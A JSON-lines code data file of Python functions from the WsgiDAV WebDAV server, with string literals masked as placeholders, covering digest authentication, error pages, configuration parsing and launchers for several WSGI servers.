{"signature": "def get_resource_inst(self, path, environ):", "body": "self._count_get_resource_inst += <NUM_LIT:1><EOL>fp = self._loc_to_file_path(path, environ)<EOL>if not os.path.exists(fp):<EOL><INDENT>return None<EOL><DEDENT>if os.path.isdir(fp):<EOL><INDENT>return FolderResource(path, environ, fp)<EOL><DEDENT>return FileResource(path, environ, fp)<EOL>", "docstring": "Return info dictionary for path.\n\n        See DAVProvider.get_resource_inst()", "id": "f8599:c2:m4"}
{"signature": "def compute_digest_response(<EOL>self, realm, user_name, method, uri, nonce, cnonce, qop, nc, environ<EOL>):", "body": "def md5h(data):<EOL><INDENT>return md5(compat.to_bytes(data)).hexdigest()<EOL><DEDENT>def md5kd(secret, data):<EOL><INDENT>return md5h(secret + \"<STR_LIT::>\" + data)<EOL><DEDENT>A1 = self.domain_controller.digest_auth_user(realm, user_name, environ)<EOL>if not A1:<EOL><INDENT>return False<EOL><DEDENT>A2 = method + \"<STR_LIT::>\" + uri<EOL>if qop:<EOL><INDENT>res = md5kd(<EOL>A1, nonce + \"<STR_LIT::>\" + nc + \"<STR_LIT::>\" + cnonce + \"<STR_LIT::>\" + qop + \"<STR_LIT::>\" + md5h(A2)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>res = md5kd(A1, nonce + \"<STR_LIT::>\" + md5h(A2))<EOL><DEDENT>return res<EOL>", "docstring": "Computes digest hash.\n\n        Calculation of the A1 (HA1) part is delegated to the dc interface method\n        `digest_auth_user()`.\n\n        Args:\n            realm (str):\n            user_name (str):\n            method (str): WebDAV Request Method\n            uri (str):\n            nonce (str): server generated nonce value\n            cnonce (str): client generated cnonce value\n            qop (str): quality of protection\n            nc (str) (number), nonce counter incremented by client\n        Returns:\n            MD5 hash string\n            or False if user rejected by domain controller", "id": "f8601:c0:m8"}
{"signature": "def get_http_status_code(v):", "body": "if hasattr(v, \"<STR_LIT:value>\"):<EOL><INDENT>return int(v.value)  <EOL><DEDENT>else:<EOL><INDENT>return int(v)<EOL><DEDENT>", "docstring": "Return HTTP response code as integer, e.g. 204.", "id": "f8602:m0"}
{"signature": "def get_http_status_string(v):", "body": "code = get_http_status_code(v)<EOL>try:<EOL><INDENT>return ERROR_DESCRIPTIONS[code]<EOL><DEDENT>except KeyError:<EOL><INDENT>return \"<STR_LIT>\".format(code)<EOL><DEDENT>", "docstring": "Return HTTP response string, e.g. 204 -> ('204 No Content').\n    The return string always includes descriptive text, to satisfy Apache mod_dav.\n\n    `v`: status code or DAVError", "id": "f8602:m1"}
{"signature": "def as_DAVError(e):", "body": "if isinstance(e, DAVError):<EOL><INDENT>return e<EOL><DEDENT>elif isinstance(e, Exception):<EOL><INDENT>return DAVError(HTTP_INTERNAL_ERROR, src_exception=e)<EOL><DEDENT>else:<EOL><INDENT>return DAVError(HTTP_INTERNAL_ERROR, \"<STR_LIT:{}>\".format(e))<EOL><DEDENT>", "docstring": "Convert any non-DAVError exception to HTTP_INTERNAL_ERROR.", "id": "f8602:m3"}
{"signature": "def get_user_info(self):", "body": "if self.value in ERROR_DESCRIPTIONS:<EOL><INDENT>s = \"<STR_LIT:{}>\".format(ERROR_DESCRIPTIONS[self.value])<EOL><DEDENT>else:<EOL><INDENT>s = \"<STR_LIT:{}>\".format(self.value)<EOL><DEDENT>if self.context_info:<EOL><INDENT>s += \"<STR_LIT>\".format(self.context_info)<EOL><DEDENT>elif self.value in ERROR_RESPONSES:<EOL><INDENT>s += \"<STR_LIT>\".format(ERROR_RESPONSES[self.value])<EOL><DEDENT>if self.src_exception:<EOL><INDENT>s += \"<STR_LIT>\".format(self.src_exception)<EOL><DEDENT>if self.err_condition:<EOL><INDENT>s += \"<STR_LIT>\".format(self.err_condition)<EOL><DEDENT>return s<EOL>", "docstring": "Return readable string.", "id": "f8602:c1:m3"}
{"signature": "def get_response_page(self):", "body": "<EOL>if self.err_condition:<EOL><INDENT>return (\"<STR_LIT>\", compat.to_bytes(self.err_condition.as_string()))<EOL><DEDENT>status = get_http_status_string(self)<EOL>html = []<EOL>html.append(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL>html.append(\"<STR_LIT>\")<EOL>html.append(<EOL>\"<STR_LIT>\"<EOL>)<EOL>html.append(\"<STR_LIT>\".format(status))<EOL>html.append(\"<STR_LIT>\")<EOL>html.append(\"<STR_LIT>\".format(status))<EOL>html.append(\"<STR_LIT>\".format(compat.html_escape(self.get_user_info())))<EOL>html.append(\"<STR_LIT>\")<EOL>html.append(<EOL>\"<STR_LIT>\".format(<EOL>__version__, compat.html_escape(str(datetime.datetime.now()), \"<STR_LIT:utf-8>\")<EOL>)<EOL>)<EOL>html.append(\"<STR_LIT>\")<EOL>html = \"<STR_LIT:\\n>\".join(html)<EOL>return (\"<STR_LIT>\", compat.to_bytes(html))<EOL>", "docstring": "Return a tuple (content-type, response page).", "id": "f8602:c1:m4"}
{"signature": "def is_disabled(self):", "body": "return False<EOL>", "docstring": "Optionally return False to skip this module on startup.", "id": "f8604:c0:m3"}
{"signature": "def _get_checked_path(path, config, must_exist=True, allow_none=True):", "body": "if path in (None, \"<STR_LIT>\"):<EOL><INDENT>if allow_none:<EOL><INDENT>return None<EOL><DEDENT>raise ValueError(\"<STR_LIT>\".format(path))<EOL><DEDENT>config_file = config.get(\"<STR_LIT>\")<EOL>if config_file and not os.path.isabs(path):<EOL><INDENT>path = os.path.normpath(os.path.join(os.path.dirname(config_file), path))<EOL><DEDENT>else:<EOL><INDENT>path = os.path.abspath(path)<EOL><DEDENT>if must_exist and not os.path.exists(path):<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(path))<EOL><DEDENT>return path<EOL>", "docstring": "Convert path to absolute if not None.", "id": "f8605:m0"}
{"signature": "def _init_command_line_options():", "body": "description = \"\"\"<STR_LIT>\"\"\"nsed under the MIT license.<EOL>https://github.com/mar10/wsgidav for additional information.<EOL>parser = argparse.ArgumentParser(<EOL>prog=\"<STR_LIT>\",<EOL>description=description,<EOL>epilog=epilog,<EOL>formatter_class=argparse.RawTextHelpFormatter,<EOL>)<EOL>parser.add_argument(<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>dest=\"<STR_LIT:port>\",<EOL>type=int,<EOL>help=\"<STR_LIT>\",<EOL>)<EOL>parser.add_argument(<EOL>\"<STR_LIT>\",  <EOL>\"<STR_LIT>\",<EOL>dest=\"<STR_LIT:host>\",<EOL>help=(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>),<EOL>),<EOL>parser.add_argument(<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>dest=\"<STR_LIT>\",<EOL>action=FullExpandedPath,<EOL>help=\"<STR_LIT>\",<EOL>)<EOL>parser.add_argument(<EOL>\"<STR_LIT>\",<EOL>choices=(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"),<EOL>help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>)<EOL>parser.add_argument(<EOL>\"<STR_LIT>\",<EOL>choices=SUPPORTED_SERVERS.keys(),<EOL>help=\"<STR_LIT>\",<EOL>)<EOL>parser.add_argument(<EOL>\"<STR_LIT>\",<EOL>choices=(\"<STR_LIT>\", \"<STR_LIT>\"),<EOL>help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>)<EOL>qv_group = parser.add_mutually_exclusive_group()<EOL>qv_group.add_argument(<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>action=\"<STR_LIT:count>\",<EOL>default=<NUM_LIT:3>,<EOL>help=\"<STR_LIT>\",<EOL>)<EOL>qv_group.add_argument(<EOL>\"<STR_LIT>\", \"<STR_LIT>\", default=<NUM_LIT:0>, action=\"<STR_LIT:count>\", help=\"<STR_LIT>\"<EOL>)<EOL>qv_group = parser.add_mutually_exclusive_group()<EOL>qv_group.add_argument(<EOL>\"<STR_LIT:-c>\",<EOL>\"<STR_LIT>\",<EOL>dest=\"<STR_LIT>\",<EOL>action=FullExpandedPath,<EOL>help=(<EOL>\"<STR_LIT>\".format(<EOL>DEFAULT_CONFIG_FILES<EOL>)<EOL>),<EOL>)<EOL>qv_group.add_argument(<EOL>\"<STR_LIT>\",<EOL>action=\"<STR_LIT:store_true>\",<EOL>dest=\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\".format(DEFAULT_CONFIG_FILES),<EOL>)<EOL>parser.add_argument(<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>action=\"<STR_LIT:store_true>\",<EOL>help=\"<STR_LIT>\",<EOL>)<EOL>args = parser.parse_args()<EOL>args.verbose -= args.quiet<EOL>del args.quiet<EOL>if args.root_path and not os.path.isdir(args.root_path):<EOL><INDENT>msg = \"<STR_LIT>\".format(args.root_path)<EOL>raise parser.error(msg)<EOL><DEDENT>if args.version:<EOL><INDENT>if args.verbose >= <NUM_LIT:4>:<EOL><INDENT>msg = \"<STR_LIT>\".format(<EOL>__version__, util.PYTHON_VERSION, platform.platform(aliased=True)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>msg = \"<STR_LIT:{}>\".format(__version__)<EOL><DEDENT>print(msg)<EOL>sys.exit()<EOL><DEDENT>if args.no_config:<EOL><INDENT>pass<EOL><DEDENT>elif args.config_file is None:<EOL><INDENT>for filename in DEFAULT_CONFIG_FILES:<EOL><INDENT>defPath = os.path.abspath(filename)<EOL>if os.path.exists(defPath):<EOL><INDENT>if args.verbose >= <NUM_LIT:3>:<EOL><INDENT>print(\"<STR_LIT>\".format(defPath))<EOL><DEDENT>args.config_file = defPath<EOL>break<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>args.config_file = os.path.abspath(args.config_file)<EOL>if not os.path.isfile(args.config_file):<EOL><INDENT>parser.error(<EOL>\"<STR_LIT>\".format(<EOL>args.config_file<EOL>)<EOL>)<EOL><DEDENT><DEDENT>cmdLineOpts = args.__dict__.copy()<EOL>if args.verbose >= <NUM_LIT:5>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>for k, v in cmdLineOpts.items():<EOL><INDENT>print(\"<STR_LIT>\".format(k, v))<EOL><DEDENT><DEDENT>return cmdLineOpts, parser<EOL>", "docstring": "Parse command line options into a dictionary.", "id": "f8605:m1"}
{"signature": "def _read_config_file(config_file, verbose):", "body": "config_file = os.path.abspath(config_file)<EOL>if not os.path.exists(config_file):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\".format(config_file))<EOL><DEDENT>if config_file.endswith(\"<STR_LIT>\"):<EOL><INDENT>with io.open(config_file, mode=\"<STR_LIT:r>\", encoding=\"<STR_LIT:utf-8>\") as json_file:<EOL><INDENT>minified = jsmin(json_file.read())<EOL><DEDENT>conf = json.loads(minified)<EOL><DEDENT>elif config_file.endswith(\"<STR_LIT>\"):<EOL><INDENT>with io.open(config_file, mode=\"<STR_LIT:r>\", encoding=\"<STR_LIT:utf-8>\") as yaml_file:<EOL><INDENT>conf = yaml.safe_load(yaml_file)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>import imp<EOL>conf = {}<EOL>configmodule = imp.load_source(\"<STR_LIT>\", config_file)<EOL>for k, v in vars(configmodule).items():<EOL><INDENT>if k.startswith(\"<STR_LIT>\"):<EOL><INDENT>continue<EOL><DEDENT>elif isfunction(v):<EOL><INDENT>continue<EOL><DEDENT>conf[k] = v<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>exc_type, exc_value = sys.exc_info()[:<NUM_LIT:2>]<EOL>exc_info_list = traceback.format_exception_only(exc_type, exc_value)<EOL>exc_text = \"<STR_LIT:\\n>\".join(exc_info_list)<EOL>print(<EOL>\"<STR_LIT>\"<EOL>+ config_file<EOL>+ \"<STR_LIT>\"<EOL>+ exc_text,<EOL>file=sys.stderr,<EOL>)<EOL>raise<EOL><DEDENT><DEDENT>conf[\"<STR_LIT>\"] = config_file<EOL>return conf<EOL>", "docstring": "Read configuration file options into a dictionary.", "id": "f8605:m2"}
{"signature": "def _init_config():", "body": "cli_opts, parser = _init_command_line_options()<EOL>cli_verbose = cli_opts[\"<STR_LIT>\"]<EOL>config = copy.deepcopy(DEFAULT_CONFIG)<EOL>config_file = cli_opts.get(\"<STR_LIT>\")<EOL>if config_file:<EOL><INDENT>file_opts = _read_config_file(config_file, cli_verbose)<EOL>util.deep_update(config, file_opts)<EOL>if cli_verbose != DEFAULT_VERBOSE and \"<STR_LIT>\" in file_opts:<EOL><INDENT>if cli_verbose >= <NUM_LIT:2>:<EOL><INDENT>print(<EOL>\"<STR_LIT>\".format(<EOL>file_opts[\"<STR_LIT>\"], cli_verbose<EOL>)<EOL>)<EOL><DEDENT>config[\"<STR_LIT>\"] = cli_verbose<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if cli_verbose >= <NUM_LIT:2>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if cli_opts.get(\"<STR_LIT:port>\"):<EOL><INDENT>config[\"<STR_LIT:port>\"] = cli_opts.get(\"<STR_LIT:port>\")<EOL><DEDENT>if cli_opts.get(\"<STR_LIT:host>\"):<EOL><INDENT>config[\"<STR_LIT:host>\"] = cli_opts.get(\"<STR_LIT:host>\")<EOL><DEDENT>if cli_opts.get(\"<STR_LIT>\") is not None:<EOL><INDENT>config[\"<STR_LIT>\"] = True<EOL><DEDENT>if cli_opts.get(\"<STR_LIT>\") is not None:<EOL><INDENT>config[\"<STR_LIT>\"] = cli_opts.get(\"<STR_LIT>\")<EOL><DEDENT>if cli_opts.get(\"<STR_LIT>\") is not None:<EOL><INDENT>config[\"<STR_LIT>\"] = cli_opts.get(\"<STR_LIT>\")<EOL><DEDENT>if cli_opts.get(\"<STR_LIT>\") != DEFAULT_VERBOSE:<EOL><INDENT>config[\"<STR_LIT>\"] = cli_opts.get(\"<STR_LIT>\")<EOL><DEDENT>if cli_opts.get(\"<STR_LIT>\"):<EOL><INDENT>root_path = os.path.abspath(cli_opts.get(\"<STR_LIT>\"))<EOL>config[\"<STR_LIT>\"][\"<STR_LIT:/>\"] = FilesystemProvider(root_path)<EOL><DEDENT>if config[\"<STR_LIT>\"] >= <NUM_LIT:5>:<EOL><INDENT>print(\"<STR_LIT>\".format(cli_opts[\"<STR_LIT>\"], pformat(config)))<EOL><DEDENT>if not config[\"<STR_LIT>\"]:<EOL><INDENT>parser.error(\"<STR_LIT>\")<EOL><DEDENT>auth = cli_opts.get(\"<STR_LIT>\")<EOL>auth_conf = config.get(\"<STR_LIT>\", {})<EOL>if auth and auth_conf.get(\"<STR_LIT>\"):<EOL><INDENT>parser.error(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if auth == \"<STR_LIT>\":<EOL><INDENT>if config[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>parser.error(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>auth_conf.update(<EOL>{<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT>\": True,<EOL>}<EOL>)<EOL>config[\"<STR_LIT>\"][\"<STR_LIT>\"] = {\"<STR_LIT:*>\": True}<EOL><DEDENT>elif auth == \"<STR_LIT>\":<EOL><INDENT>if config.get(\"<STR_LIT>\"):<EOL><INDENT>parser.error(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>auth_conf.update(<EOL>{<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT>\": False,<EOL>}<EOL>)<EOL>config[\"<STR_LIT>\"] = {}<EOL><DEDENT>elif auth == \"<STR_LIT>\":<EOL><INDENT>if config.get(\"<STR_LIT>\"):<EOL><INDENT>parser.error(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>auth_conf.update(<EOL>{<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT>\": False,<EOL>}<EOL>)<EOL>config[\"<STR_LIT>\"] = {\"<STR_LIT>\": \"<STR_LIT>\"}<EOL><DEDENT>if cli_opts.get(\"<STR_LIT>\"):<EOL><INDENT>print(\"<STR_LIT>\", file=sys.stderr)<EOL>from paste import reloader  <EOL>reloader.install()<EOL>if config_file:<EOL><INDENT>reloader.watch_file(config_file)<EOL><DEDENT><DEDENT>return config<EOL>", "docstring": "Setup configuration dictionary from default, command line and configuration file.", "id": "f8605:m3"}
{"signature": "def _run_paste(app, config, mode):", "body": "from paste import httpserver<EOL>version = \"<STR_LIT>\".format(<EOL>__version__, httpserver.WSGIHandler.server_version, util.PYTHON_VERSION<EOL>)<EOL>_logger.info(\"<STR_LIT>\".format(version))<EOL>server = httpserver.serve(<EOL>app,<EOL>host=config[\"<STR_LIT:host>\"],<EOL>port=config[\"<STR_LIT:port>\"],<EOL>server_version=version,<EOL>protocol_version=\"<STR_LIT>\",<EOL>start_loop=False,<EOL>)<EOL>if config[\"<STR_LIT>\"] >= <NUM_LIT:5>:<EOL><INDENT>__handle_one_request = server.RequestHandlerClass.handle_one_request<EOL>def handle_one_request(self):<EOL><INDENT>__handle_one_request(self)<EOL>if self.close_connection == <NUM_LIT:1>:<EOL><INDENT>_logger.debug(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>_logger.debug(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>server.RequestHandlerClass.handle_one_request = handle_one_request<EOL>server.RequestHandlerClass.handle_one_request = handle_one_request<EOL><DEDENT>host, port = server.server_address<EOL>if host == \"<STR_LIT>\":<EOL><INDENT>_logger.info(<EOL>\"<STR_LIT>\".format(port, \"<STR_LIT:http>\", port)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>_logger.info(\"<STR_LIT>\".format(\"<STR_LIT:http>\", host, port))<EOL><DEDENT>try:<EOL><INDENT>server.serve_forever()<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>_logger.warning(\"<STR_LIT>\")<EOL><DEDENT>return<EOL>", "docstring": "Run WsgiDAV using paste.httpserver, if Paste is installed.\n\n    See http://pythonpaste.org/modules/httpserver.html for more options", "id": "f8605:m4"}
{"signature": "def _run_gevent(app, config, mode):", "body": "import gevent<EOL>import gevent.monkey<EOL>gevent.monkey.patch_all()<EOL>from gevent.pywsgi import WSGIServer<EOL>server_args = {<EOL>\"<STR_LIT>\": (config[\"<STR_LIT:host>\"], config[\"<STR_LIT:port>\"]),<EOL>\"<STR_LIT>\": app,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>}<EOL>protocol = \"<STR_LIT:http>\"<EOL>server_args.update(config.get(\"<STR_LIT>\", {}))<EOL>dav_server = WSGIServer(server_args[\"<STR_LIT>\"], app)<EOL>_logger.info(\"<STR_LIT>\".format(dav_server))<EOL>_logger.info(<EOL>\"<STR_LIT>\".format(protocol, config[\"<STR_LIT:host>\"], config[\"<STR_LIT:port>\"])<EOL>)<EOL>try:<EOL><INDENT>gevent.spawn(dav_server.serve_forever())<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>_logger.warning(\"<STR_LIT>\")<EOL><DEDENT>return<EOL>", "docstring": "Run WsgiDAV using gevent if gevent is installed.\n\n    See\n      https://github.com/gevent/gevent/blob/master/src/gevent/pywsgi.py#L1356\n      https://github.com/gevent/gevent/blob/master/src/gevent/server.py#L38\n     for more options", "id": "f8605:m5"}
{"signature": "def _run__cherrypy(app, config, mode):", "body": "assert mode == \"<STR_LIT>\"<EOL>try:<EOL><INDENT>from cherrypy import wsgiserver<EOL>from cherrypy.wsgiserver.ssl_builtin import BuiltinSSLAdapter<EOL>_logger.warning(\"<STR_LIT>\")<EOL>_logger.warning(<EOL>\"<STR_LIT>\"<EOL>)<EOL>_logger.warning(\"<STR_LIT>\")<EOL>_logger.warning(\"<STR_LIT>\")<EOL><DEDENT>except ImportError:<EOL><INDENT>_logger.error(\"<STR_LIT:*>\" * <NUM_LIT>)<EOL>_logger.error(\"<STR_LIT>\")<EOL>_logger.error(<EOL>\"<STR_LIT>\"<EOL>)<EOL>_logger.error(\"<STR_LIT>\")<EOL>_logger.error(<EOL>\"<STR_LIT>\"<EOL>)<EOL>_logger.error(\"<STR_LIT>\")<EOL>_logger.error(\"<STR_LIT:*>\" * <NUM_LIT>)<EOL>raise<EOL><DEDENT>server_name = \"<STR_LIT>\".format(<EOL>__version__, wsgiserver.CherryPyWSGIServer.version, util.PYTHON_VERSION<EOL>)<EOL>wsgiserver.CherryPyWSGIServer.version = server_name<EOL>ssl_certificate = _get_checked_path(config.get(\"<STR_LIT>\"), config)<EOL>ssl_private_key = _get_checked_path(config.get(\"<STR_LIT>\"), config)<EOL>ssl_certificate_chain = _get_checked_path(<EOL>config.get(\"<STR_LIT>\"), config<EOL>)<EOL>protocol = \"<STR_LIT:http>\"<EOL>if ssl_certificate:<EOL><INDENT>assert ssl_private_key<EOL>wsgiserver.CherryPyWSGIServer.ssl_adapter = BuiltinSSLAdapter(<EOL>ssl_certificate, ssl_private_key, ssl_certificate_chain<EOL>)<EOL>protocol = \"<STR_LIT>\"<EOL>_logger.info(\"<STR_LIT>\")<EOL><DEDENT>_logger.info(\"<STR_LIT>\".format(server_name))<EOL>_logger.info(<EOL>\"<STR_LIT>\".format(protocol, config[\"<STR_LIT:host>\"], config[\"<STR_LIT:port>\"])<EOL>)<EOL>server_args = {<EOL>\"<STR_LIT>\": (config[\"<STR_LIT:host>\"], config[\"<STR_LIT:port>\"]),<EOL>\"<STR_LIT>\": app,<EOL>\"<STR_LIT>\": server_name,<EOL>}<EOL>server_args.update(config.get(\"<STR_LIT>\", {}))<EOL>server = wsgiserver.CherryPyWSGIServer(**server_args)<EOL>startup_event = config.get(\"<STR_LIT>\")<EOL>if startup_event:<EOL><INDENT>def _patched_tick():<EOL><INDENT>server.tick = org_tick  <EOL>org_tick()<EOL>_logger.info(\"<STR_LIT>\")<EOL>startup_event.set()<EOL><DEDENT>org_tick = server.tick<EOL>server.tick = _patched_tick<EOL><DEDENT>try:<EOL><INDENT>server.start()<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>_logger.warning(\"<STR_LIT>\")<EOL><DEDENT>finally:<EOL><INDENT>server.stop()<EOL><DEDENT>return<EOL>", "docstring": "Run WsgiDAV using cherrypy.wsgiserver if CherryPy is installed.", "id": "f8605:m6"}
{"signature": "def _run_cheroot(app, config, mode):", "body": "assert mode == \"<STR_LIT>\"<EOL>try:<EOL><INDENT>from cheroot import server, wsgi<EOL><DEDENT>except ImportError:<EOL><INDENT>_logger.error(\"<STR_LIT:*>\" * <NUM_LIT>)<EOL>_logger.error(\"<STR_LIT>\")<EOL>_logger.error(<EOL>\"<STR_LIT>\"<EOL>)<EOL>_logger.error(\"<STR_LIT:*>\" * <NUM_LIT>)<EOL>raise<EOL><DEDENT>server_name = \"<STR_LIT>\".format(<EOL>__version__, wsgi.Server.version, util.PYTHON_VERSION<EOL>)<EOL>wsgi.Server.version = server_name<EOL>ssl_certificate = _get_checked_path(config.get(\"<STR_LIT>\"), config)<EOL>ssl_private_key = _get_checked_path(config.get(\"<STR_LIT>\"), config)<EOL>ssl_certificate_chain = _get_checked_path(<EOL>config.get(\"<STR_LIT>\"), config<EOL>)<EOL>ssl_adapter = config.get(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>protocol = \"<STR_LIT:http>\"<EOL>if ssl_certificate and ssl_private_key:<EOL><INDENT>ssl_adapter = server.get_ssl_adapter_class(ssl_adapter)<EOL>wsgi.Server.ssl_adapter = ssl_adapter(<EOL>ssl_certificate, ssl_private_key, ssl_certificate_chain<EOL>)<EOL>protocol = \"<STR_LIT>\"<EOL>_logger.info(\"<STR_LIT>\".format(ssl_adapter))<EOL><DEDENT>elif ssl_certificate or ssl_private_key:<EOL><INDENT>raise RuntimeError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>_logger.info(\"<STR_LIT>\".format(server_name))<EOL>_logger.info(<EOL>\"<STR_LIT>\".format(protocol, config[\"<STR_LIT:host>\"], config[\"<STR_LIT:port>\"])<EOL>)<EOL>server_args = {<EOL>\"<STR_LIT>\": (config[\"<STR_LIT:host>\"], config[\"<STR_LIT:port>\"]),<EOL>\"<STR_LIT>\": app,<EOL>\"<STR_LIT>\": server_name,<EOL>}<EOL>server_args.update(config.get(\"<STR_LIT>\", {}))<EOL>server = wsgi.Server(**server_args)<EOL>startup_event = config.get(\"<STR_LIT>\")<EOL>if startup_event:<EOL><INDENT>def _patched_tick():<EOL><INDENT>server.tick = org_tick  <EOL>_logger.info(\"<STR_LIT>\")<EOL>startup_event.set()<EOL>org_tick()<EOL><DEDENT>org_tick = server.tick<EOL>server.tick = _patched_tick<EOL><DEDENT>try:<EOL><INDENT>server.start()<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>_logger.warning(\"<STR_LIT>\")<EOL><DEDENT>finally:<EOL><INDENT>server.stop()<EOL><DEDENT>return<EOL>", "docstring": "Run WsgiDAV using cheroot.server if Cheroot is installed.", "id": "f8605:m7"}
{"signature": "def _run_flup(app, config, mode):", "body": "<EOL>if mode == \"<STR_LIT>\":<EOL><INDENT>from flup.server.fcgi import WSGIServer, __version__ as flupver<EOL><DEDENT>elif mode == \"<STR_LIT>\":<EOL><INDENT>from flup.server.fcgi_fork import WSGIServer, __version__ as flupver<EOL><DEDENT>else:<EOL><INDENT>raise ValueError<EOL><DEDENT>_logger.info(<EOL>\"<STR_LIT>\".format(<EOL>__version__, WSGIServer.__module__, flupver<EOL>)<EOL>)<EOL>server = WSGIServer(<EOL>app,<EOL>bindAddress=(config[\"<STR_LIT:host>\"], config[\"<STR_LIT:port>\"]),<EOL>)<EOL>try:<EOL><INDENT>server.run()<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>_logger.warning(\"<STR_LIT>\")<EOL><DEDENT>return<EOL>", "docstring": "Run WsgiDAV using flup.server.fcgi if Flup is installed.", "id": "f8605:m8"}
{"signature": "def _run_wsgiref(app, config, mode):", "body": "<EOL>from wsgiref.simple_server import make_server, software_version<EOL>version = \"<STR_LIT>\".format(__version__, software_version)<EOL>_logger.info(\"<STR_LIT>\".format(version))<EOL>_logger.warning(<EOL>\"<STR_LIT>\"<EOL>)<EOL>httpd = make_server(config[\"<STR_LIT:host>\"], config[\"<STR_LIT:port>\"], app)<EOL>try:<EOL><INDENT>httpd.serve_forever()<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>_logger.warning(\"<STR_LIT>\")<EOL><DEDENT>return<EOL>", "docstring": "Run WsgiDAV using wsgiref.simple_server, on Python 2.5+.", "id": "f8605:m9"}
{"signature": "def _run_ext_wsgiutils(app, config, mode):", "body": "from wsgidav.server import ext_wsgiutils_server<EOL>_logger.info(<EOL>\"<STR_LIT>\".format(__version__)<EOL>)<EOL>_logger.warning(<EOL>\"<STR_LIT>\"<EOL>)<EOL>try:<EOL><INDENT>ext_wsgiutils_server.serve(config, app)<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>_logger.warning(\"<STR_LIT>\")<EOL><DEDENT>return<EOL>", "docstring": "Run WsgiDAV using ext_wsgiutils_server from the wsgidav package.", "id": "f8605:m10"}
{"signature": "def handle_error(self, request, client_address):", "body": "ei = sys.exc_info()<EOL>e = ei[<NUM_LIT:1>]<EOL>if e.args[<NUM_LIT:0>] in (<NUM_LIT>, <NUM_LIT>):<EOL><INDENT>_logger.error(\"<STR_LIT>\".format(e))<EOL>return<EOL><DEDENT>_logger.error(\"<STR_LIT:->\" * <NUM_LIT>, file=sys.stderr)<EOL>_logger.error(<EOL>\"<STR_LIT>\".format(<EOL>threading.currentThread().ident, client_address<EOL>)<EOL>)<EOL>_logger.error(client_address, file=sys.stderr)<EOL>traceback.print_exc()<EOL>_logger.error(\"<STR_LIT:->\" * <NUM_LIT>, file=sys.stderr)<EOL>_logger.error(request, file=sys.stderr)<EOL>", "docstring": "Handle an error gracefully.  May be overridden.\n\n        The default is to _logger.info a traceback and continue.", "id": "f8608:c1:m0"}
{"signature": "def stop_serve_forever(self):", "body": "assert hasattr(<EOL>self, \"<STR_LIT>\"<EOL>), \"<STR_LIT>\"<EOL>assert not self.stop_request, \"<STR_LIT>\"<EOL>self.stop_request = True<EOL>time.sleep(<NUM_LIT:0.1>)<EOL>if self.stopped:<EOL><INDENT>return<EOL><DEDENT>def _shutdownHandler(self):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>self.send_response(<NUM_LIT:200>)<EOL>self.end_headers()<EOL>self.server.stop_request = True<EOL><DEDENT>if not hasattr(ExtHandler, \"<STR_LIT>\"):<EOL><INDENT>ExtHandler.do_SHUTDOWN = _shutdownHandler<EOL><DEDENT>(host, port) = self.server_address<EOL>conn = http_client.HTTPConnection(\"<STR_LIT>\".format(host, port))<EOL>conn.request(\"<STR_LIT>\", \"<STR_LIT:/>\")<EOL>conn.getresponse()<EOL>assert self.stop_request<EOL>", "docstring": "Stop serve_forever_stoppable().", "id": "f8608:c1:m1"}
{"signature": "def serve_forever_stoppable(self):", "body": "self.stop_request = False<EOL>self.stopped = False<EOL>while not self.stop_request:<EOL><INDENT>self.handle_request()<EOL><DEDENT>self.stopped = True<EOL>", "docstring": "Handle one request at a time until stop_serve_forever().\n\n        http://code.activestate.com/recipes/336012/", "id": "f8608:c1:m2"}
{"signature": "def _flush(self):", "body": "pass<EOL>", "docstring": "Overloaded by Shelve implementation.", "id": "f8609:c0:m3"}
